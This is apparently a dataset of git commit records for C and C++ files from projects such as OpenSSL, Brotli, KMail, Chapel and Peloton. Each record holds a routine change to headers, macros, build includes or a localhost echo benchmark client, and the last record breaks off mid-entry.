{"commit":"925d17f3ee4b7f7881fa77a31524ecd9f1305242","old_file":"include\/internal\/thread_once.h","new_file":"include\/internal\/thread_once.h","old_contents":"","new_contents":"\/*\n * Copyright 1995-2016 The OpenSSL Project Authors. All Rights Reserved.\n *\n * Licensed under the OpenSSL license (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https:\/\/www.openssl.org\/source\/license.html\n *\/\n\n#include <openssl\/crypto.h>\n\n#define DEFINE_RUN_ONCE(init)                   \\\n    static int init(void);                     \\\n    int init##_ossl_ret_ = 0;                   \\\n    void init##_ossl_(void)                     \\\n    {                                           \\\n        init##_ossl_ret_ = init();              \\\n    }                                           \\\n    static int init(void)\n#define DECLARE_RUN_ONCE(init)                  \\\n    extern int init##_ossl_ret_;                \\\n    void init##_ossl_(void);\n\n#define DEFINE_RUN_ONCE_STATIC(init)            \\\n    static int init(void);                     \\\n    static int init##_ossl_ret_ = 0;            \\\n    static void init##_ossl_(void)              \\\n    {                                           \\\n        init##_ossl_ret_ = init();              \\\n    }                                           \\\n    static int init(void)\n\n\/*\n * RUN_ONCE - use CRYPTO_THREAD_run_once, and check if the init succeeded\n * @once: pointer to static object of type CRYPTO_ONCE\n * @init: function name that was previously given to DEFINE_RUN_ONCE,\n *        DEFINE_RUN_ONCE_STATIC or DECLARE_RUN_ONCE.\n *\n * The return value is 1 on success or 0 in case of error.\n *\/\n#define RUN_ONCE(once, init)                                            \\\n    (CRYPTO_THREAD_run_once(once, init##_ossl_) ? init##_ossl_ret_ : 0)\n","subject":"Define a few internal macros for easy use of run_once functions","message":"Define a few internal macros for easy use of run_once functions\n\nBecause pthread_once() takes a function taking no argument and\nreturning nothing, and we want to be able to check if they're\nsuccessful, we define a few internal macros to get around the issue.\n\nReviewed-by: Kurt Roeckx <bb87b47479d83cec3c76132206933257ded727b2@openssl.org>\n","lang":"C","license":"apache-2.0","repos":"openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl"}
{"commit":"65cb3326e30ef8a67eb1d4411ec563e91be6e9ae","old_file":"brotli\/dec\/types.h","new_file":"brotli\/dec\/types.h","old_contents":"\/* Copyright 2013 Google Inc. All Rights Reserved.\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n   Common types\n*\/\n\n#ifndef BROTLI_DEC_TYPES_H_\n#define BROTLI_DEC_TYPES_H_\n\n#include <stddef.h>  \/* for size_t *\/\n\n#ifndef _MSC_VER\n#include <inttypes.h>\n#ifdef __STRICT_ANSI__\n#define BROTLI_INLINE\n#else  \/* __STRICT_ANSI__ *\/\n#define BROTLI_INLINE inline\n#endif\n#else\ntypedef signed   char int8_t;\ntypedef unsigned char uint8_t;\ntypedef signed   short int16_t;\ntypedef unsigned short uint16_t;\ntypedef signed   int int32_t;\ntypedef unsigned int uint32_t;\ntypedef unsigned long long int uint64_t;\ntypedef long long int int64_t;\n#define BROTLI_INLINE __forceinline\n#endif  \/* _MSC_VER *\/\n\n#endif  \/* BROTLI_DEC_TYPES_H_ *\/\n","new_contents":"\/* Copyright 2013 Google Inc. All Rights Reserved.\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n   Common types\n*\/\n\n#ifndef BROTLI_DEC_TYPES_H_\n#define BROTLI_DEC_TYPES_H_\n\n#include <stddef.h>  \/* for size_t *\/\n\n#ifndef _MSC_VER\n#include <inttypes.h>\n#if defined(__cplusplus) || !defined(__STRICT_ANSI__) \\\n    || __STDC_VERSION__ >= 199901L\n#define BROTLI_INLINE inline\n#else\n#define BROTLI_INLINE\n#endif\n#else\ntypedef signed   char int8_t;\ntypedef unsigned char uint8_t;\ntypedef signed   short int16_t;\ntypedef unsigned short uint16_t;\ntypedef signed   int int32_t;\ntypedef unsigned int uint32_t;\ntypedef unsigned long long int uint64_t;\ntypedef long long int int64_t;\n#define BROTLI_INLINE __forceinline\n#endif  \/* _MSC_VER *\/\n\n#endif  \/* BROTLI_DEC_TYPES_H_ *\/\n","subject":"Allow use of inline keyword in c++\/c99 mode","message":"Allow use of inline keyword in c++\/c99 mode\n","lang":"C","license":"mit","repos":"google\/woff2,khaledhosny\/woff2,rsheeter\/woff2,anthrotype\/woff2,bxchusun\/le-huong-van,bxchusun\/le-huong-van,seanjensengrey\/font-compression-reference,bxchusun\/le-huong-van,bxchusun\/le-huong-van,seanjensengrey\/font-compression-reference,seanjensengrey\/font-compression-reference"}
{"commit":"142b3a0aa1e6c5d0addb914a13c3dd8755f89010","old_file":"kmail\/filterimporterexporter.h","new_file":"kmail\/filterimporterexporter.h","old_contents":"#ifndef __FILTERIMPORTEREXPORTER_H__\n#define __FILTERIMPORTEREXPORTER_H__\n\n#include <qvalueList.h>\n\nclass KMFilter;\nclass KConfig;\n\nnamespace KMail\n{\n\n\/**\n    @short Utility class that provides persisting of filters to\/from KConfig.\n    @author Till Adam <till@kdab.net>\n *\/\nclass FilterImporterExporter\n{\npublic:\n      FilterImporterExporter( bool popFilter = false );\n      virtual ~FilterImporterExporter();\n      \n      \/** Export the given filter rules to a file which \n       * is asked from the user. The list to export is also\n       * presented for confirmation\/selection. *\/\n      void exportFilters( const QValueList<KMFilter*> & );\n      \n      \/** Import filters. Ask the user where to import them from\n       * and which filters to import. *\/\n      QValueList<KMFilter*> importFilters();\n      \n      static void writeFiltersToConfig( const QValueList<KMFilter*>& filters, KConfig* config, bool bPopFilter );\n      static QValueList<KMFilter*> readFiltersFromConfig( KConfig* config, bool bPopFilter );\nprivate:\n      bool mPopFilter;\n};\n\n}\n\n#endif \/* __FILTERIMPORTEREXPORTER_H__ *\/\n","new_contents":"#ifndef __FILTERIMPORTEREXPORTER_H__\n#define __FILTERIMPORTEREXPORTER_H__\n\n#include <qvaluelist.h>\n\nclass KMFilter;\nclass KConfig;\n\nnamespace KMail\n{\n\n\/**\n    @short Utility class that provides persisting of filters to\/from KConfig.\n    @author Till Adam <till@kdab.net>\n *\/\nclass FilterImporterExporter\n{\npublic:\n      FilterImporterExporter( bool popFilter = false );\n      virtual ~FilterImporterExporter();\n      \n      \/** Export the given filter rules to a file which \n       * is asked from the user. The list to export is also\n       * presented for confirmation\/selection. *\/\n      void exportFilters( const QValueList<KMFilter*> & );\n      \n      \/** Import filters. Ask the user where to import them from\n       * and which filters to import. *\/\n      QValueList<KMFilter*> importFilters();\n      \n      static void writeFiltersToConfig( const QValueList<KMFilter*>& filters, KConfig* config, bool bPopFilter );\n      static QValueList<KMFilter*> readFiltersFromConfig( KConfig* config, bool bPopFilter );\nprivate:\n      bool mPopFilter;\n};\n\n}\n\n#endif \/* __FILTERIMPORTEREXPORTER_H__ *\/\n","subject":"Fix compilation for case-sensitive file systems.","message":"Fix compilation for case-sensitive file systems.\n\nsvn path=\/branches\/kdepim\/enterprise\/kdepim\/; revision=728559\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"d6e38bce49b4e71b2a670267d305f54b899ab4ea","old_file":"test\/echo.c","new_file":"test\/echo.c","old_contents":"","new_contents":"#include <arpa\/inet.h>\n#include <endian.h>\n#include <netinet\/in.h>\n#include <netinet\/tcp.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys\/socket.h>\n#include <unistd.h>\n\nint main()\n{\n\tstruct sockaddr_in serv_addr;\n\tmemset(&serv_addr, 0, sizeof(serv_addr));\n\tserv_addr.sin_family = AF_INET;\n\tserv_addr.sin_addr.s_addr = inet_addr(\"127.0.0.1\");\n\tserv_addr.sin_port = htons(11122);\n\n\tint fd = socket(AF_INET, SOCK_STREAM, 0);\n\n\tstatic const int tcp_nodelay_on = 1;\n\tif (setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &tcp_nodelay_on, sizeof(tcp_nodelay_on)) < 0) {\n\t\tfprintf(stderr, \"Could not set TCP_NODELAY\\n\");\n\t\treturn EXIT_FAILURE;\n\t}\n\n\n\tif (connect(fd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {\n\t\tfprintf(stderr, \"Failed to connect with server\\n\");\n\t\treturn EXIT_FAILURE;\n\t}\n\n\tchar buffer[1000];\n\tchar *write_ptr = buffer;\n\n\n\tconst char msg[] = \"bla\";\n\n\tuint32_t len = strlen(msg);\n\tlen = htobe32(len);\n\tmemcpy(write_ptr, &len, sizeof(len));\n\twrite_ptr += sizeof(len);\n\tmemcpy(write_ptr, msg, strlen(msg));\n\n\tint i;\n\tfor (i = 0; i < 1000000; i++) {\n\t\twrite(fd, buffer, sizeof(len) + strlen(msg));\n\n\t\tuint32_t msg_len;\n\t\tssize_t got = read(fd, &msg_len, sizeof(msg_len));\n\t\tif (got != sizeof(msg_len)) {\n\t\t\tfprintf(stderr, \"could not read enough for msg_len: %zd\\n\", got);\n\t\t\treturn EXIT_FAILURE;\n\t\t}\n\t\tmsg_len = be32toh(msg_len);\n\t\tif (msg_len != be32toh(len)) {\n\t\t\tfprintf(stderr, \"msglen != len\\n\");\n\t\t}\n\n\t\tchar read_buffer[1000];\n\t\tgot = read(fd, read_buffer, msg_len);\n\t\tif (got != msg_len) {\n\t\t\tfprintf(stderr, \"could not read enough of message!\\n\");\n\t\t}\n\t\tread_buffer[msg_len] = '\\0';\n\t\tif (strcmp(read_buffer, msg) != 0) {\n\t\t\tfprintf(stderr, \"received message not the same like send!\\n\");\n\t\t}\n\t}\n\n\tclose(fd);\n\treturn EXIT_SUCCESS;\n}\n","subject":"Add client test program to measure speed of message handling.","message":"Add client test program to measure speed of message handling.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet"}
{"commit":"d06957e790aef773f00332203d69cbb550bf44e7","old_file":"src\/cpp_wrapper\/FlatFile.h","new_file":"src\/cpp_wrapper\/FlatFile.h","old_contents":"\/******************************************************************************\/\n\/**\n@file\n@author\t\tDana Klamut\n@brief\t\tThe C++ implementation of a flat file dictionary.\n*\/\n\/******************************************************************************\/\n\n#if !defined(PROJECT_FLATFILE_H)\n#define PROJECT_FLATFILE_H\n\n#include \"Dictionary.h\"\n#include \"..\/key_value\/kv_system.h\"\n#include \"..\/dictionary\/flat_file\/flat_file_dictionary_handler.h\"\n\ntemplate<typename K, typename V>\nclass FlatFile:public Dictionary<K, V> {\npublic:\n\/**\n@brief\t\tRegisters a specific flat file dictionary instance.\n\n@details\tRegisters functions for dictionary.\n\n@param\t\ttype_key\n\t\t\t\tThe type of keys to be stored in the dictionary.\n@param\t\tkey_size\n\t\t\t\tThe size of keys to be stored in the dictionary.\n@param\t  value_size\n\t\t\t\tThe size of the values to be stored in the dictionary.\n*\/\nFlatFile(\n\tion_key_type_t\ttype_key,\n\tint\t\t\t\tkey_size,\n\tint\t\t\t\tvalue_size,\n\tint\t\t\t\tdictionary_size\n) {\n\tffdict_init(&this->handler);\n\n\tthis->initializeDictionary(type_key, key_size, value_size, dictionary_size);\n}\n};\n\n#endif \/* PROJECT_FLATFILE_H *\/\n","new_contents":"\/******************************************************************************\/\n\/**\n@file\n@author\t\tDana Klamut\n@brief\t\tThe C++ implementation of a flat file dictionary.\n*\/\n\/******************************************************************************\/\n\n#if !defined(PROJECT_FLATFILE_H)\n#define PROJECT_FLATFILE_H\n\n#include \"Dictionary.h\"\n#include \"..\/key_value\/kv_system.h\"\n#include \"..\/dictionary\/flat_file\/flat_file_dictionary_handler.h\"\n\ntemplate<typename K, typename V>\nclass FlatFile:public Dictionary<K, V> {\npublic:\n\/**\n@brief\t\tRegisters a specific flat file dictionary instance.\n\n@details\tRegisters functions for dictionary.\n\n@param\t\ttype_key\n\t\t\t\tThe type of keys to be stored in the dictionary.\n@param\t\tkey_size\n\t\t\t\tThe size of keys to be stored in the dictionary.\n@param\t  value_size\n\t\t\t\tThe size of the values to be stored in the dictionary.\n@param\t  dictionary_size\n\t\t\t\tThe size desired for the dictionary.\n*\/\nFlatFile(\n\tion_key_type_t\ttype_key,\n\tint\t\t\t\tkey_size,\n\tint\t\t\t\tvalue_size,\n\tint\t\t\t\tdictionary_size\n) {\n\tffdict_init(&this->handler);\n\n\tthis->initializeDictionary(type_key, key_size, value_size, dictionary_size);\n}\n};\n\n#endif \/* PROJECT_FLATFILE_H *\/\n","subject":"Update doxygen comments to reflect changes to flat file constructor","message":"Update doxygen comments to reflect changes to flat file constructor\n","lang":"C","license":"bsd-3-clause","repos":"iondbproject\/iondb,iondbproject\/iondb"}
{"commit":"c51997e83f1b3f8f1ddd4f19ef045feb83ad05f7","old_file":"lynx\/base\/compiler_specific.h","new_file":"lynx\/base\/compiler_specific.h","old_contents":"","new_contents":"#ifndef LYNX_BASE_COMPILER_SPECIFIC_H_\n#define LYNX_BASE_COMPILER_SPECIFIC_H_\n\n#if !defined(UNLIKELY)\n#if defined(COMPILER_GCC)\n#define UNLIKELY(x) __builtin_expect(!!(x), 0)\n#else\n#define UNLIKELY(x) (x)\n#endif\n#endif\n\n#endif","subject":"Add UNLIKELY for compiler optimization","message":"Add UNLIKELY for compiler optimization\n\nUNLIKELY only used in GCC compiler\n","lang":"C","license":"mit","repos":"hxxft\/lynx-native,hxxft\/lynx-native,hxxft\/lynx-native,hxxft\/lynx-native,hxxft\/lynx-native,hxxft\/lynx-native,hxxft\/lynx-native,hxxft\/lynx-native,hxxft\/lynx-native"}
{"commit":"4f133b2d11568f9e495cfa76ed1a61bed8b4c81c","old_file":"sys\/pc98\/include\/clock.h","new_file":"sys\/pc98\/include\/clock.h","old_contents":"\/*-\n * Copyright (C) 2005 TAKAHASHI Yoshihiro. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#ifndef _PC98_INCLUDE_CLOCK_H_\n#define _PC98_INCLUDE_CLOCK_H_\n\n#include <i386\/clock.h>\n\n#endif \/* _PC98_INCLUDE_CLOCK_H_ *\/\n","new_contents":"\/*-\n * This file is in the public domain.\n *\/\n\/* $FreeBSD$ *\/\n\n#include <i386\/clock.h>\n","subject":"Remove my copyright. This file includes simply i386's one now.","message":"Remove my copyright.  This file includes simply i386's one now.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"8dd96657649aeaceeac1a139e8e0215a6a9c5fc2","old_file":"okui\/include\/onair\/okui\/applications\/SDLAndroidMain.h","new_file":"okui\/include\/onair\/okui\/applications\/SDLAndroidMain.h","old_contents":"","new_contents":"#pragma once\n\n#include \"onair\/okui\/config.h\"\n\n#if SCRAPS_ANDROID\n\n#include <SDL2\/SDL_main.h>\n\n#include <jni.h>\n\nextern \"C\" {\n\n\/* Called before SDL_main() to initialize JNI bindings in SDL library *\/\nextern void SDL_Android_Init(JNIEnv* env, jclass cls);\n\n\/* Start up the SDL app *\/\nJNIEXPORT int JNICALL Java_org_libsdl_app_SDLActivity_nativeInit(JNIEnv* env, jclass cls, jobject array)\n{\n    int i;\n    int argc;\n    int status;\n\n    \/* This interface could expand with ABI negotiation, callbacks, etc. *\/\n    SDL_Android_Init(env, cls);\n\n    SDL_SetMainReady();\n\n    \/* Prepare the arguments. *\/\n\n    int len = env->GetArrayLength((jobjectArray)array);\n    char* argv[1 + len + 1];\n    argc = 0;\n    \/* Use the name \"app_process\" so PHYSFS_platformCalcBaseDir() works.\n       https:\/\/bitbucket.org\/MartinFelis\/love-android-sdl2\/issue\/23\/release-build-crash-on-start\n     *\/\n    argv[argc++] = SDL_strdup(\"app_process\");\n    for (i = 0; i < len; ++i) {\n        const char* utf;\n        char* arg = NULL;\n        jstring string = (jstring)env->GetObjectArrayElement((jobjectArray)array, i);\n        if (string) {\n            utf = env->GetStringUTFChars(string, 0);\n            if (utf) {\n                arg = SDL_strdup(utf);\n                env->ReleaseStringUTFChars(string, utf);\n            }\n            env->DeleteLocalRef(string);\n        }\n        if (!arg) {\n            arg = SDL_strdup(\"\");\n        }\n        argv[argc++] = arg;\n    }\n    argv[argc] = NULL;\n\n\n    \/* Run the application. *\/\n\n    status = SDL_main(argc, argv);\n\n    \/* Release the arguments. *\/\n\n    for (i = 0; i < argc; ++i) {\n        SDL_free(argv[i]);\n    }\n\n    \/* Do not issue an exit or the whole application will terminate instead of just the SDL thread *\/\n    \/* exit(status); *\/\n\n    return status;\n}\n\n}\n\n#endif\n","subject":"Add android main for sdl","message":"Add android main for sdl\n\nSummary: Needed for the viewer, putting a helper here to be included by the viewer\n\nTest Plan: Run viewer on android\n\nReviewers: mike.naquin\n\nReviewed By: mike.naquin\n\nSubscribers: #engineering\n\nDifferential Revision: https:\/\/phabricator.btlive.tv\/D1484\n\n[This commit was only partially migrated from livelib commit 397ac913a235a97fb4bf7f61710a522a0094100e.]","lang":"C","license":"apache-2.0","repos":"bittorrent\/okui,bittorrent\/okui,bittorrent\/okui,bittorrent\/okui,bittorrent\/okui"}
{"commit":"859f0d817daea24874bda1f07d350be481cc1012","old_file":"sixtracklib\/_impl\/namespace_begin.h","new_file":"sixtracklib\/_impl\/namespace_begin.h","old_contents":"#pragma once\n\n#if !defined( NS_CONCAT_ )\n    #define NS_CONCAT_( A, B ) A##B\n#endif \/* !defined( NS_CONCAT ) *\/\n\n#if !defined( NS_CONCAT )\n    #define NS_CONCAT( A, B ) NS_CONCAT_( A, B )\n#endif \/* !defined( NS_CONCAT ) *\/\n\n#if !defined( NAMESPACE )\n    #define NAMESPACE \n#endif \/* !defined( NAMESPACE ) *\/\n\n#if !defined( NS )\n    #define NS(name) NS_CONCAT( NAMESPACE, name )\n#endif \/* !defined( NS ) *\/\n\n\/* end: sixtracklib\/_impl\/namespace_begin.h *\/\n","new_contents":"#pragma once\n\n#if !defined( NS_CONCAT_ )\n    #define NS_CONCAT_( A, B ) A##B\n#endif \/* !defined( NS_CONCAT ) *\/\n\n#if !defined( NS_CONCAT )\n    #define NS_CONCAT( A, B ) NS_CONCAT_( A, B )\n#endif \/* !defined( NS_CONCAT ) *\/\n\n#if !defined( __NAMESPACE )\n    #define __NAMESPACE \n#endif \/* !defined( __NAMESPACE ) *\/\n\n#if !defined( NS )\n    #define NS(name) NS_CONCAT( __NAMESPACE, name )\n#endif \/* !defined( NS ) *\/\n\n\/* end: sixtracklib\/_impl\/namespace_begin.h *\/\n","subject":"Fix not yet corrected NAMESPACE macro","message":"Fix not yet corrected NAMESPACE macro\n","lang":"C","license":"lgpl-2.1","repos":"SixTrack\/SixTrackLib,SixTrack\/SixTrackLib,SixTrack\/SixTrackLib,SixTrack\/SixTrackLib"}
{"commit":"17c0d74dde5122245a19bd358e2471b0e3fce037","old_file":"runtime\/include\/stdchpl.h","new_file":"runtime\/include\/stdchpl.h","old_contents":"#ifndef _stdchpl_H_\n#define _stdchpl_H_\n\n#include \"chplrt.h\"\n\n#include <errno.h>\n#include <math.h>\n#include <float.h>\n#include <stddef.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <sys\/time.h>\n\n#include <chpl_md.h>\n\n#include \"arg.h\"\n#include \"config.h\"\n#include \"chplcast.h\"\n#include \"chplcgfns.h\"\n#include \"chpl-atomics.h\"\n#include \"chpl-comm.h\"\n#include \"chplcopygc.h\"\n#include \"chplexit.h\"\n#include <chplfp.h>\n#include \"chplio.h\"\n#include \"chplmath.h\"\n#include \"chpl-mem.h\"\n#include \"chplmemtrack.h\"\n#include \"chplsys.h\"\n#include \"chpl-tasks.h\"\n#include \"chpltimers.h\"\n#include \"chpltypes.h\"\n#include \"chplgpu.h\"\n#include \"error.h\"\n\n#include \"chpl-comm-compiler-macros.h\"\n\n#endif\n","new_contents":"#ifndef _stdchpl_H_\n#define _stdchpl_H_\n\n#include \"chplrt.h\"\n\n#include <errno.h>\n#include <math.h>\n#include <float.h>\n#include <stddef.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <sys\/time.h>\n\n#include <chpl_md.h>\n\n#include \"arg.h\"\n#include \"config.h\"\n#include \"chplcast.h\"\n#include \"chplcgfns.h\"\n#include \"chpl-atomics.h\"\n#include \"chpl-comm.h\"\n#include \"chplcopygc.h\"\n#include \"chplexit.h\"\n#include <chplfp.h>\n#include \"chplio.h\"\n#include \"chplmath.h\"\n#include \"chpl-mem.h\"\n#include \"chplmemtrack.h\"\n#include \"chplsys.h\"\n#include \"chpl-tasks.h\"\n#include \"chpltimers.h\"\n#include \"chpltypes.h\"\n#include \"chplgpu.h\"\n#include \"error.h\"\n\n#include \"chplgmp.h\"\n\n#include \"chpl-comm-compiler-macros.h\"\n\n#endif\n","subject":"Include \"chplgmp.h\" for the emitted code.","message":"Include \"chplgmp.h\" for the emitted code.\n\n[Not reviewed, because seems obvious (now), small, and safe.]\n\nThe r21083 change was a bit overenthusiastic in its removal of the\ninclusion of \"chplgmp.h\" into stdchpl.h and this the emitted code.\nWithout that, tests that use GMP won't build.  Put it back.\n\n\ngit-svn-id: 88467cb1fb04b8a755be7e1ee1026be4190196ef@21107 3a8e244f-b0f2-452b-bcba-4c88e055c3ca\n","lang":"C","license":"apache-2.0","repos":"CoryMcCartan\/chapel,hildeth\/chapel,CoryMcCartan\/chapel,chizarlicious\/chapel,chizarlicious\/chapel,CoryMcCartan\/chapel,sungeunchoi\/chapel,sungeunchoi\/chapel,hildeth\/chapel,CoryMcCartan\/chapel,hildeth\/chapel,sungeunchoi\/chapel,CoryMcCartan\/chapel,CoryMcCartan\/chapel,sungeunchoi\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,chizarlicious\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,sungeunchoi\/chapel,hildeth\/chapel,CoryMcCartan\/chapel,hildeth\/chapel,hildeth\/chapel,chizarlicious\/chapel,chizarlicious\/chapel,sungeunchoi\/chapel,hildeth\/chapel"}
{"commit":"6d6519a43a674622a617cef7171c6003ed85fc0b","old_file":"src\/include\/index\/index_util.h","new_file":"src\/include\/index\/index_util.h","old_contents":"\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                         Peloton\n\/\/\n\/\/ index_util.h\n\/\/\n\/\/ Identification: src\/include\/index\/index_util.h\n\/\/\n\/\/ Copyright (c) 2015-16, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#pragma once\n\n#include \"index\/index.h\"\n\nnamespace peloton {\nnamespace index {\n\nvoid ConstructIntervals(oid_t leading_column_id,\n                        const std::vector<Value> &values,\n                        const std::vector<oid_t> &key_column_ids,\n                        const std::vector<ExpressionType> &expr_types,\n                        std::vector<std::pair<Value, Value>> &intervals);\n\nvoid FindMaxMinInColumns(oid_t leading_column_id,\n                         const std::vector<Value> &values,\n                         const std::vector<oid_t> &key_column_ids,\n                         const std::vector<ExpressionType> &expr_types,\n                         std::map<oid_t, std::pair<Value, Value>> &non_leading_columns);\n                         \nbool HasNonOptimizablePredicate(const std::vector<ExpressionType> &expr_types);\n\nbool IsPointQuery(const IndexMetadata *metadata_p,\n                  const std::vector<oid_t> &tuple_column_id_list,\n                  const std::vector<ExpressionType> &expr_list);\n\n}  \/\/ End index namespace\n}  \/\/ End peloton namespace\n","new_contents":"\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                         Peloton\n\/\/\n\/\/ index_util.h\n\/\/\n\/\/ Identification: src\/include\/index\/index_util.h\n\/\/\n\/\/ Copyright (c) 2015-16, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#pragma once\n\n#include \"index\/index.h\"\n\nnamespace peloton {\nnamespace index {\n\nvoid ConstructIntervals(oid_t leading_column_id,\n                        const std::vector<Value> &values,\n                        const std::vector<oid_t> &key_column_ids,\n                        const std::vector<ExpressionType> &expr_types,\n                        std::vector<std::pair<Value, Value>> &intervals);\n\nvoid FindMaxMinInColumns(oid_t leading_column_id,\n                         const std::vector<Value> &values,\n                         const std::vector<oid_t> &key_column_ids,\n                         const std::vector<ExpressionType> &expr_types,\n                         std::map<oid_t, std::pair<Value, Value>> &non_leading_columns);\n                         \nbool HasNonOptimizablePredicate(const std::vector<ExpressionType> &expr_types);\n\nbool IsPointQuery(const IndexMetadata *metadata_p,\n                  const std::vector<oid_t> &tuple_column_id_list,\n                  const std::vector<ExpressionType> &expr_list,\n                  std::vector<std::pair<oid_t, oid_t>> &value_index_list);\n\n}  \/\/ End index namespace\n}  \/\/ End peloton namespace\n","subject":"Change interface of IsPointQuery() in header file","message":"Change interface of IsPointQuery() in header file\n","lang":"C","license":"apache-2.0","repos":"prashasthip\/peloton,haojin2\/peloton,malin1993ml\/peloton,ShuxinLin\/peloton,seojungmin\/peloton,haojin2\/peloton,AllisonWang\/peloton,prashasthip\/peloton,vittvolt\/15721-peloton,AngLi-Leon\/peloton,apavlo\/peloton,jessesleeping\/iso_peloton,seojungmin\/peloton,malin1993ml\/peloton,vittvolt\/15721-peloton,phisiart\/peloton-p3,AngLi-Leon\/peloton,vittvolt\/15721-peloton,phisiart\/peloton-p3,PauloAmora\/peloton,PauloAmora\/peloton,cmu-db\/peloton,ShuxinLin\/peloton,apavlo\/peloton,ShuxinLin\/peloton,cmu-db\/peloton,yingjunwu\/peloton,cmu-db\/peloton,prashasthip\/peloton,ShuxinLin\/peloton,eric-haibin-lin\/peloton-1,yingjunwu\/peloton,PauloAmora\/peloton,cmu-db\/peloton,vittvolt\/peloton,phisiart\/peloton-p3,phisiart\/peloton-p3,eric-haibin-lin\/peloton-1,AngLi-Leon\/peloton,vittvolt\/15721-peloton,yingjunwu\/peloton,apavlo\/peloton,phisiart\/peloton-p3,eric-haibin-lin\/peloton-1,AllisonWang\/peloton,vittvolt\/15721-peloton,prashasthip\/peloton,yingjunwu\/peloton,malin1993ml\/peloton,eric-haibin-lin\/peloton-1,malin1993ml\/peloton,AngLi-Leon\/peloton,eric-haibin-lin\/peloton-1,vittvolt\/15721-peloton,AllisonWang\/peloton,malin1993ml\/peloton,haojin2\/peloton,wangziqi2016\/peloton,apavlo\/peloton,haojin2\/peloton,AngLi-Leon\/peloton,prashasthip\/peloton,jessesleeping\/iso_peloton,apavlo\/peloton,seojungmin\/peloton,seojungmin\/peloton,vittvolt\/peloton,PauloAmora\/peloton,AngLi-Leon\/peloton,wangziqi2016\/peloton,cmu-db\/peloton,vittvolt\/peloton,vittvolt\/peloton,AllisonWang\/peloton,jessesleeping\/iso_peloton,apavlo\/peloton,phisiart\/peloton-p3,ShuxinLin\/peloton,vittvolt\/peloton,yingjunwu\/peloton,AllisonWang\/peloton,wangziqi2016\/peloton,cmu-db\/peloton,AllisonWang\/peloton,seojungmin\/peloton,PauloAmora\/peloton,wangziqi2016\/peloton,jessesleeping\/iso_peloton,jessesleeping\/iso_peloton,jessesleeping\/iso_peloton,malin1993ml\/peloton,vittvolt\/peloton,jessesleeping\/iso_peloton,ShuxinLin\/peloton,eric-haibin-lin\/peloton-1,wangziqi2016\/peloton,seojungmin\/peloton,haojin2\/peloton,PauloAmora\/peloton,wangziqi2016\/peloton,yingjunwu\/peloton,prashasthip\/peloton,haojin2\